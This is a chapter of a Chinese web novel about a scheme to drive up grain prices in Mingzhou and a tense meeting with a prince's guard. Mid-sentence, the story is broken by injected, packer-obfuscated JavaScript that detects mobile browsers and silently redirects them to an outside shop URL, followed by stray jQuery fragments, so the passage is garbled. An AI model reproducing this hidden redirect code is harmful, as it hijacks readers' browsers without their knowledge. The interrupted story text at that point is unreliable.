39. 第十章 明州破局(三)

作品:《万安弈局

    二日之后,因要紧万安城内的授官仪式,王绍安便只能带着江音如和王绍文先行回了万安城。


    原以为赵盼儿和王绍安久别重逢,定会跟着一同回去,可她却选择留下来陪王太初。


    起初江音如也并不放心将她一人留在明州,可在得到范大人的承诺之后也便松了口。


    用过早膳之后,明州府的官道上,范金谦携苏明远目送王绍安的车队离府而去。他深知前路自有锦绣前程在等着这个少年,他亦为大庆朝廷得此良吏而发自内心地欣喜。


    “此事原和太初姑娘无关,太初姑娘能为范某献此良计范某已是万分感激,却不想姑娘还会留下来再助范某,范某先行谢过。”范金谦对眼前的少女早已没了成见,他心中了然,自己与王绍安囿于旧思、行事板滞,若当真失了王太初,这计谋怕是终究难达十全之效。


    “我是念及明州城的百姓,我怕范大人过于呆板,不能让我如此良计发挥真正的效用。”虽眼下范金谦已是客气万分,可王太初在范府受的气确是还未尽消,她语气冷淡地说道。


    “姑娘所言甚是。”范金谦哪里还顾得上王太初的态度,尴尬开口道,“范某此时确有一事,需得向姑娘请教。”


    “范大人请说。”


    “前日闻姑娘之言,我已将开银库之请拟成折子递了上去,可直至今日,此事仍滞于知府大人处,未得安排。”因为此事,范金谦也甚是着急,可偏偏他去寻知府大人,他都因身体不适将其拦在了府外。


    “知府大人可有批折子,驳你之请?”


    “那倒没有。”


    “那便好办了。”王太初看了看周围之人,将范金谦拉到了远处,小声开口问道,“我只问范大人,若此事能成,此后升官晋爵的机会,范大人可想要?”


    “范某做事从来不是为了这等虚名。”虽他认为此事是因他筹措军粮而起,有将功赎罪之意。可即使没有此事,他范金谦也定然不会置明州城百姓的生死于不顾。


    “那便好办了,若范大人能独担此事败责,不涉知府大人,且将此事功果,尽归其名。如此,我断言是无人会阻碍大人开银库的。”


    王太初面上没有半分赧色。其所言皆是官场中最为人不齿的秘辛潜规,可她神态泰然,语气平宁,一副见怪不怪的样子。


    “好。此番范某便放手一搏。若他日此计不成,明州粮价失序,朝廷降罪下来,我定当先送王姑娘离此危地。”范金谦抱拳道。


    此刻他方明了,素日于女色无半分兴致的刘聿洵,缘何会倾心于王太初,甘为裙下之臣。


    “那是自然,届时无需范大人相送,只要见事有不妥,你便是再想寻我也是寻不到的。”


    待范金谦与王太初重返官道旁的人群中时,见赵盼儿正朝着车队远去的方向怔怔出神。


    “盼儿姐姐既如此舍不得,何不此刻便随哥哥一同去万安?”


    送走有公务在身的范金谦和苏明远,王太初凑近她的身侧打趣道。


    “明州城内,我尚有事情还没打点清楚。”


    “哦?是何事值得你弃兄长于不顾?”


    “太初也知先父早逝有年,然黄册十年一修,其名至今仍在籍册之上。也正因如此,家中登记人丁未减,每岁输粮,仍需按全口之数缴纳。此番我留下来,正是要解决此事。”


    “所以那日你风尘仆仆便是去解决此事?”


    “正是,原想着既有里正作保,说的又都是实情,这事儿总该能顺利解决才是。”她叹气道,“却不想那些小吏只管籍册登记的数据,里正的保信是连瞧都未瞧。”


    “基层官吏原是离百姓最近之人,本当事事为他们分忧解难,可如今确是这般怠惰推诿、见事便躲、遇责就推,就应该好好治治他们。我这便去告诉范大人,让其来管教一番。”


    “万万不可!”见王太初转身就欲向范金谦离去的方向追,赵盼儿忙拉住她。


    “姐姐莫要菩萨心肠,做错了事就得认罚,若事后你真觉得惩罚太重,届时你我再开口替他们求情就是了。”


    “太初,并非所有的事情都需靠官大一级来压着解决。咱百姓自有我们的解决之道。历史的长河中,我们也有过无数次的自救。”赵盼儿眼中满是坚定,“这次我就想看看没有那些权贵的帮助,仅凭我们这些百姓能否将这黑白扭转过来!”


    此时,一袭清风抚过官道之侧的田畴,垄上新插的秧苗轻晃如碧毯翻波,点点嫩绿里,尽是待秋的希望。


    明州城的粮市鏖战开始的还算顺利,范金谦虽未得知府的首肯,可开银库时也并未有人对他多加阻碍。


    就这样,在官府大量高价收购粮食的推波助澜下,明州城的粮价从往日每石二百钱之数,一路疯涨至每石八百钱有余,直叫寻常百姓望仓兴叹。


    明州府衙门前更无宁日,常有百姓怒掷烂泥、抛洒臭货,民愤可见一斑。


    后来也不知他们从何处窥得内情,知道此计出自范金谦之手,怒火难压,索性寻至他私宅前,同府衙一般,也让那宅院沾了秽、没了体面。


    “范大人这几日不必去衙门点卯吗?何以这个时辰会在自家府中?”


    王太初这几日忙着在各处奔波,给那些家中没有丝毫存粮的贫户送粮。毕竟计谋是计谋,若要真饿死人那便是天大的过错了。


    “听说是知府大人特许的,说是范大人这些日子劳累可在府中办公。”沉水跟着王太初匆匆从码头赶来,喘着粗气说道,“可依我看,知府大人是怕范大人呆在府衙,百姓的不满会全冲着官府撒,让范大人回自己私宅,反倒能替衙门分走一些怨气。”


    “范大人可还好?”


    还未走近范府,王太初便闻到了一股腥臭味,那气味混杂着腐物的酸馊,让人不由蹙眉屏息。


    范府的大门前,范金谦正仰着脖子擦拭着门旁的牌匾,身旁还有书生打扮的少年正蹲着擦拭地上的污物。


    “我只知府衙门前如今满是污秽,没想到范府竟也一样。”王太初盯着仰头喘息的范金谦打趣道。


    “他们也不知从何处得来的消息,说我与粮商勾结,故意推高粮价,中饱私囊,这不这些天门前全是这番光景。”范金谦也不着急停手,反倒自嘲了起来,“万幸城中尚有百姓念着我往日的一点情分,肯信我几分清白,愿意信我并非那般祸民之人,不然我真要觉得,这些年在明州的心血与奔波,全是付诸东流了。”


    “范大人可不要如此妄自菲薄,我听家父说了,往府衙扔的那些秽物中,连排泄之物都有,但投到您这儿的,全是些烂菜臭鱼,可见百姓对您终究是留着几分情面的。”说话的正是蹲在地上擦拭秽物的其中一个少年,也就是范金谦口中那些愿意信他清白的百姓。


    “你小子,难道还要我上门感谢你父亲不成?”说到此处,范金谦更是气不打一处来,索性将手中抹布一扔,“也不知你们这些烂菜臭鱼是从哪找的,饭都吃不饱了,还有心思找这些。有这闲工夫何不让你父亲下地干活,多种些粮食蔬菜才是正道。”


    “谁让范大人也不辩解几句?百姓们都说了,只要范大人说不是,我们定会信你。可是那么多时日了,您偏一声不吭,大伙儿心里才渐渐没了底。”


    “既然如此,那小兄弟为何还要来此帮忙呢?”王太初瞧着说话之人一脸委屈,问道,“范大人也未曾在你面前辩解一句,你怎么就肯信他呢?”


    “自古便有徒弟不疑师傅,学生敬从老师的理。范大人不仅教我学问,还曾细细为我解读过《论语》,我......我......不用范大人开口,从他的眼睛里我就能看出来,此事和范大人无关。”少年字字皆带坚意,这便是他对心中信仰的执拗和笃定。


    王太初看着范金谦红了眼眶,他或许可以坦然面对事败之后伏诛身亡、身败名裂的结果。可在重压之下仍然可以获得的信任,却是最让人温暖的。


    “好了好了,你们也别擦了,反正擦干净了还是一样会被泼脏,都回家去吧。”范金谦转过脸挥挥手,示意他们离开,后又像是突然想到什么,复而转身道,“都先去府中将自己收拾干净了,厨房内还有些米粥,用了午膳再走。家中困难的找管家领些粟米去,记住了可要省着点吃,我府中余粮也不多了。”


    说罢他头也不回地就迎着王太初进了府,他怕自己在呆在这份信任中,会招架不住说出真相。


    这次再回到范府,王太初的待遇和上次相比有了很大的提升,最明显的便是府中女使奉上的香茗,茶汤澄澈透亮,茶香浓郁芬芳。


    “如今肚中都没半点油水了,范大人倒是舍得将好茶拿出来了。”王太初将茶盏握在手中,轻嗅埋怨道。


    “哈哈哈哈----太初姑娘何必如此记仇,因为这事你都数落本官几回了。”范金谦边命人打来干净的水洗手,边问道,“可是码头有什么好消息?”


    “蹲守市舶司数日,今日总算有越州的粮船离港了,怎么不算好消息呢?”


    “你说他们会不会已经识破了我们的计谋?离了港就不会再回来了?”范金谦的脸上仍有忧色。


    “纵使识破了我们的计谋又如何呢?只要有粮船能换得金山银山而归。他们也知这是你我瓮中捉鳖的手段,但只要他们的心中仍有贪念,他们便永远不会觉得自己是瓮中的那只鳖,他们愿意赌的。”说到这里王太初轻笑道,“说不定他们还怕这瓮太小,容不下他们,非得争先恐后往里挤呢。”


    “我倒是觉得奇了怪了,太初姑娘年纪轻轻,何来这些见解?”待范金谦擦干手,便回到了主座坐定。


    “幼时家侧有一间耍杂铺,店主手艺精巧,所制玩偶甚佳。彼时街巷孩童争相购买,因此玩偶价格渐高。我有一友,见此以为可以图利,便购入不少那家的玩偶意欲转售。他也知玩偶紧俏,店主必会多做,他日价格未必能如今日一般。可即使是知道,他的贪念还是没能阻止他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16482156|180575||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    高价囤买玩偶,最终导致尽亏其本。”王太初摇摇头,“这贪欲一起,是理智如何也拉不住的。”


    此时站在范金谦面前的已经不是去岁在雍王府宅门前看到的娇俏少女了。


    他佩服她的细心,也敬佩她的坦率,甚至他还有些怕她。她像是长了透视眼般,有洞见人心之能,你心底的贪欲、虚情和彷徨,似乎都在她的眼里。


    他想到了自己撒下的谎,他纵然是为民请命的好官,此番为了粮价费尽心机,堵上自己的前程和身家,可他仍逃不开自己是这场闹剧开端之人的事实。


    他怕她看透自己的心虚,有好几次都想着不如坦白算了。


    “范大人,门外有人求见,门房报说是雍王殿下的副将。”


    这些时日王太初忙于粮价之事,竟将李全胜忘了个干净。原以为他早已离开了明州回了万安,竟不想他还在此处。


    “请李副将进来吧。”先前的畅快从范金谦的身上褪去,他沉下脸,语气也冷了下来。


    此举更是让王太初笃定范金谦与刘聿洵之间定是有了嫌隙。如果先前他对自己的态度尚可以解释为自己是不足挂齿的小人物。可李全胜是雍王身旁的近卫,对他的态度便是对刘聿洵的态度。


    “问范大人好,问太初姑娘好。”李全胜对在此地见到王太初并不感到意外。


    “没想到李副将竟在明州,此次可有公务在身?”


    李全胜赴明州公干,纵无刘聿洵与范金谦这层关系,亦当至府衙通禀。然今日范金谦竟不知其在城中,此事更让王太初觉着蹊跷。


    “本是殿下的私事,所以未来府中烦扰范大人,还望范大人见谅。”


    “哦?那李副将此刻得闲来我府中拜访,是正事解决了?”抬手让身旁侍女为其看座。


    “殿下交代的事情解决了。只是在下听闻王公子已携家眷回万安,太初姑娘却还留守在明州府,便想在此处等姑娘办妥了事情,护送姑娘回去。”


    “是你们家殿下的命令?”王太初仍旧捧着那盏茶问道。


    “是。明州之事本不着急,只是殿下听闻姑娘已至明州,遂命我先来此地处置,也可保护姑娘周全。”


    “太初姑娘如今为朝廷做事,自有我明州府衙门保护,不劳雍王殿下费心。”看出范金谦气性不小,原本还只是冷嘲热讽,现在已是针锋相对。


    “殿下有令,太初姑娘的安全需得在下亲自保护才行。”李全胜脸色冷峻,丝毫没有让步。


    “怎么了?难道我整个明州府衙门还不及李副将一人得力?今日太初姑娘在我明州府境内,便由我明州府负责她的安全。”范金谦几乎是拍案而起,王太初虽早知范金谦直爽,却不料她连皇子的亲卫也敢冒犯。


    “我有何值得二位大人保护的?明州府是我从小长大的地方,城中的街道水渠我定是比二位了解,我自己保护自己就是了。”眼看两人互不相让,王太初便没了先前看热闹的心情,连忙劝阻道。


    “太初姑娘此言差矣。如若让那些粮商知晓此计是你我二人所设,定是不会放过你我的。”


    “这么说来这几天范大人安排了衙役保护我?我怎么都没发现?”王太初惊愕问道。


    “如果姑娘未曾察觉,便只能说明我明州府衙的衙役隐藏得好。”范金谦沾沾自喜说道。


    “那李副将呢?殿下命你亲自护卫,这些时日你也在我周身?”


    李全胜临行之前,刘聿洵千叮咛万嘱咐,怕的都是赵普会一不做二不休直接在万安城外将王太初诛杀,因此他才日夜不休,跑死了几匹马前来保护。


    “是的,是殿下的命令,这些时日我也在暗处保护姑娘。”


    “所以那日在码头与你偶遇之时,你本就是跟着我去的?”她的眼中闪过一丝骤然清明的光亮,勾起嘴角追问道,“所以李副将是趁着保护我的空闲,去的那香铺吗?”


    李全胜眼下出现在范府与范金谦争锋相对自然有他的原因。本以为胜券在握,却没想急于求成反倒是暴露了自己。


    他一时无语,只能在脑中寻找可信的说辞。


    “李副将家中真有姐姐吗?”


    看到李全胜的慌乱,她对心中的猜测更有了几分笃定,追问道。


    “还有一事,我亦觉着奇怪。”王太初喝了口那已经凉透的茶,将茶盏放定,直勾勾地盯着李全胜的眼睛问道,“既然此前李副将都是暗中保护,缘何此时会现身在府中呢?”


    “李副将在言语上以雍王殿下对范大人步步逼迫,是想要范大人说出什么不可告人之事吗?”


    李全胜吃惊,她竟比自己想象中厉害,不过寥寥数语,几个不起眼的细节,就几乎将此前自己所有的努力,都碾得化为乌有。


    而幸好她的聪慧心细也是他计划的一部分。


    他看向已在主位上按捺不住站起身来的范金谦,开口问道。


    “那范大人有何不可告人的秘密呢?”